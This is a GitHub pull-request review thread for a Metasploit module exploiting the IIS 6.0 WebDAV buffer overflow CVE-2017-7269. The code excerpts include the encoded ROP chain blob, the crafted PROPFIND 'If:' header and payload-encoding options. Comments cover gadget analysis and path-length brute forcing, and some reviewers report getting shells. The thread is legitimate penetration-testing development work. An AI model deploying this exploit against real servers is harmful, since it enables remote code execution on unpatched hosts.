-
Notifications
You must be signed in to change notification settings - Fork 14.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add IIS 6.0 ScStoragePathFromUrl exploit (CVE-2017-7269) #8162
Conversation
{ | ||
'EXITFUNC' => 'process', | ||
'PrependMigrate' => true, | ||
'PrependMigrateProc' => "calc" |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Is this actually necessary to specify?
'License' => MSF_LICENSE, | ||
'References' => | ||
[ | ||
[ 'CVE', 'CVE-2017-7269'], |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
[ 'CVE', '2017-7269' ],
(you don't need the "CVE-" in the second part.
Buffer overflow in the ScStoragePathFromUrl function in the WebDAV service in Internet Information Services (IIS) 6.0 in Microsoft Windows Server 2003 R2 allows remote attackers to execute arbitrary code via a long header beginning with "If: <http://" in a PROPFIND request, as exploited in the wild in July or August 2016. | ||
Original exploit by Zhiniang Peng and Chen Wu. | ||
}, | ||
'Author' => [ 'Dominic Chell <dominic@mdsec.co.uk>' ], |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
In cases where there is an "Original Author" they generally each get their own lines within the module. You can then specify who did what by using comments like:
'Zhiniang Peng', # original exploit
'Dominic Chell <dominic@mdsec.co.uk>' # metasploit module
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Pretty sure it's Zhiniang Peng and Chen Wu, don't forget Mr. Wu
|
||
buf1 << payload.encoded | ||
|
||
sock.put("PROPFIND / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 0\r\n#{buf1}>\r\n\r\n") |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This should really use the HTTP mixin.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
That might require some testing. Does adding random headers break the determinism of the victim state, for example?
connect | ||
|
||
buf1 = "If: <http://localhost/aaaaaaa" | ||
buf1 << "\xe6\xbd\xa8\xe7\xa1\xa3\xe7\x9d\xa1\xe7\x84\xb3\xe6\xa4\xb6\xe4\x9d\xb2\xe7\xa8\xb9\xe4\xad\xb7\xe4\xbd\xb0\xe7\x95\x93\xe7\xa9\x8f\xe4\xa1\xa8\xe5\x99\xa3\xe6\xb5\x94\xe6\xa1\x85\xe3\xa5\x93\xe5\x81\xac\xe5\x95\xa7\xe6\x9d\xa3\xe3\x8d\xa4\xe4\x98\xb0\xe7\xa1\x85\xe6\xa5\x92\xe5\x90\xb1\xe4\xb1\x98\xe6\xa9\x91\xe7\x89\x81\xe4\x88\xb1\xe7\x80\xb5\xe5\xa1\x90\xe3\x99\xa4\xe6\xb1\x87\xe3\x94\xb9\xe5\x91\xaa\xe5\x80\xb4\xe5\x91\x83\xe7\x9d\x92\xe5\x81\xa1\xe3\x88\xb2\xe6\xb5\x8b\xe6\xb0\xb4\xe3\x89\x87\xe6\x89\x81\xe3\x9d\x8d\xe5\x85\xa1\xe5\xa1\xa2\xe4\x9d\xb3\xe5\x89\x90\xe3\x99\xb0\xe7\x95\x84\xe6\xa1\xaa\xe3\x8d\xb4\xe4\xb9\x8a\xe7\xa1\xab\xe4\xa5\xb6\xe4\xb9\xb3\xe4\xb1\xaa\xe5\x9d\xba\xe6\xbd\xb1\xe5\xa1\x8a\xe3\x88\xb0\xe3\x9d\xae\xe4\xad\x89\xe5\x89\x8d\xe4\xa1\xa3\xe6\xbd\x8c\xe7\x95\x96\xe7\x95\xb5\xe6\x99\xaf\xe7\x99\xa8\xe4\x91\x8d\xe5\x81\xb0\xe7\xa8\xb6\xe6\x89\x8b\xe6\x95\x97\xe7\x95\x90\xe6\xa9\xb2\xe7\xa9\xab\xe7\x9d\xa2\xe7\x99\x98\xe6\x89\x88\xe6\x94\xb1\xe3\x81\x94\xe6\xb1\xb9\xe5\x81\x8a\xe5\x91\xa2\xe5\x80\xb3\xe3\x95\xb7\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88\xc8\x82\xc8\x82\xe1\x8b\x80\xe6\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac\xb7\xe6\xb1\xad\xe4\xbd\x98\xe5\xa1\x9a\xe7\xa5\x90\xe4\xa5\xaa\xe5\xa1\x8f\xe4\xa9\x92\xe4\x85\x90\xe6\x99\x8d\xe1\x8f\x80\xe6\xa0\x83\xe4\xa0\xb4\xe6\x94\xb1\xe6\xbd\x83\xe6\xb9\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f\x80\xe6\xa0\x83\xe5\x8d\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0\xe5\xa1\xa6\xe4\x89\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7\xa5\x81\xe7\xa9\x90\xe4\xa9\xac" |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
These should be broken out so we know what these binary blobs are. I'm assuming their the original exploit's ROP chains, and in that case documenting the gadgets in comments would be really helpful.
{ | ||
'EXITFUNC' => 'process', | ||
'PrependMigrate' => true, | ||
'PrependMigrateProc' => "calc" |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Is this really necessary to specify?
Buffer overflow in the ScStoragePathFromUrl function in the WebDAV service in Internet Information Services (IIS) 6.0 in Microsoft Windows Server 2003 R2 allows remote attackers to execute arbitrary code via a long header beginning with "If: <http://" in a PROPFIND request, as exploited in the wild in July or August 2016. | ||
Original exploit by Zhiniang Peng and Chen Wu. | ||
}, | ||
'Author' => [ 'Dominic Chell <dominic@mdsec.co.uk>' ], |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Generally when there's an original exploit, those others get credit within the module as well. The normal convention is to then specify each author's roles with comments next to their name.
|
||
buf1 << payload.encoded | ||
|
||
sock.put("PROPFIND / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 0\r\n#{buf1}>\r\n\r\n") |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This should really use the HTTP mixin to make the request.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I should have referenced the How to Send an HTTP Request wiki page.
def exploit | ||
connect | ||
|
||
buf1 = "If: <http://localhost/aaaaaaa" |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Can these references to http://localhost/...
be randomized? Same with the bbbb one below.
@dmchell @zeroSteiner I will be making a PR with a few stylistic changes and improvements |
@jamcut It got me a shell as well; however, the module could use some stylistic and functional improvements (which I am working on now). |
@thecarterb I won't argue that, just commenting on raw usefulness. |
converted to Msf::Exploit::Remote::HttpClient
If you're making stylistic changes then you should grab the latest version as I updated it to use Msf::Exploit::Remote::HttpClient as per the feedback |
@dmchell Just made the PR on your |
@thecarterb have you tested it? the PR fails to shell. |
Are older versions vulnerable? Doesn't work for me against SP1 |
@egypt only tested on SP2 but I'll snapshot and rm the SP and try it |
I'd caution everyone to avoid potentially gilding the lily and focus on the basics. The biggest hurdle you have from @zeroSteiner 's requests is documenting the ROP chain gadget by gadget. It's undoubtedly going to fail against some far flung release five years from now and someone's going to have to debug it. |
@wwebb-r7 absolutely, I put it to the bottom of the list as it was the most time consuming of the review comments, but it's on the TODO rest assured |
@egypt brute forcing the physical path length seems like a requirement since there's no way you'd be able to guess it. In my testing there's no harm in starting at 5 and going up to 40 (or whatever) - it'll work eventually if the server name is right. |
PR coming your way @dmchell |
@rwhitcroft why are you removing all progress on this module in your PR? |
How is this not an improvement? What progress did I remove? |
@rwhitcroft you removed all added options which are essential for this module to work. You also removed the metasploit stub in the beginning, changed references and so on. |
You're right about the stub, not sure what happened there. You're wrong about the rest though. The PR requires only that you know the VHOST, so it's actually fewer options. Not sure how this is bad thing. Would you rather have to guess? |
@rwhitcroft: |
Fair enough! PR closed. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
As mentioned earlier, the ROP chain still needs to be reverse-engineered here. We should have some documentation for how to do this coming up.
{ | ||
'Space' => 2000, | ||
'BadChars' => "\x00", | ||
'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed, |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Do we really need to force the EncoderType here? (side note - it would be good to be able to specify a preference array here)
[ | ||
[ | ||
'Microsoft Windows Server 2003 R2 SP2', | ||
{ |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
It would be nice to add Arch in addition here.
register_options( | ||
[ | ||
OptString.new('TARGETURI', [ true, 'Path of IIS 6 web application', '/']), | ||
OptString.new('ServerName', [ true, 'Servername of the Backend Server', 'localhost' ]), |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Can this be converted to VHOST / RPORT instead?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
@busterb actually not. This has to be the server name of the backend server. In a reverse proxy Setup this does not match the vhost. I think the best would be to make this option optional and implement a method to determine the name. If it's not set use vhost, otherwise use the variable. The same goes for Serverport.
'method' => 'OPTIONS' | ||
}) | ||
if res && res.headers['Server'].include?('IIS/6.0') && supports_webdav?(res.headers) | ||
return Exploit::CheckCode::Vulnerable |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Should this return Appears instead of Vulnerable since it's just checking version instead of exercising the vulnerability?
I think the thing that's really holding this back is that we have no idea what that big blob of unicode is. @zcgonvh Do you have documentation for it? |
@egypt the only analysis I found so far: I think someone needs to start reversing the exploit so we can create proper shellcode |
I used printf on the shellcode and piped through iconv from UTF-8 to UTF-16LE, and it produces plausible shellcode.
Shellcode decodes coming soon... |
The shorter code courtesy of @sinn3r
EDIT..shortened since this was a dead end |
The longer one (this might be alpha2 encoded, also thanks to @sinn3r ):
EDIT..shortened since this was a dead end |
@egypt decoded 1st url (hxxp://test.local:8088/aaaa) contains some paddings(0xc0 bytes? on decoded) and a hard-coded address on processing,the first |
These look like ROP chains, not raw instructions. Looking at the bottom few lines in @busterb's post directly above, you can see ROP gadgets that reside in rsaenh.dll:
For instance:
If this is treated as a gadget instead of a PUSH, it makes a bit more sense:
Another one:
is probably actually:
etc... |
Sometimes Cunningham's law is the best approach. |
Here's a bit more. I'm definitely not an expert so some of this is probably wrong... Start with this breakpoint, and run the exploit: Hitting
Gadget
After
And the final shellcode (rev tcp) here:
I'm not sure about the final jump into the shellcode though. |
@rwhitcroft given that the shellcode is going to be stored as unicode, it stands to reason that it's encoded with something like this. I don't have time to test at the moment, but I will later on unless you get to it first. |
@firefart and I took a look at this PR and we suggest:
|
I'm currently implementing the changes |
@dmchell @rwhitcroft We created a follow up PR with the latest changes over here (commits are preserverd): |
@wchen-r7 Sorry guys, my wife spawned (twice) a few weeks ago and it nuked all my R&D time then I lost track of all the comments/requests. I got as far as mostly documenting the ROP chain from rsaenh but it sounds like collectively you've far exceeded this, good work! |
Exploit for cve-2017-7269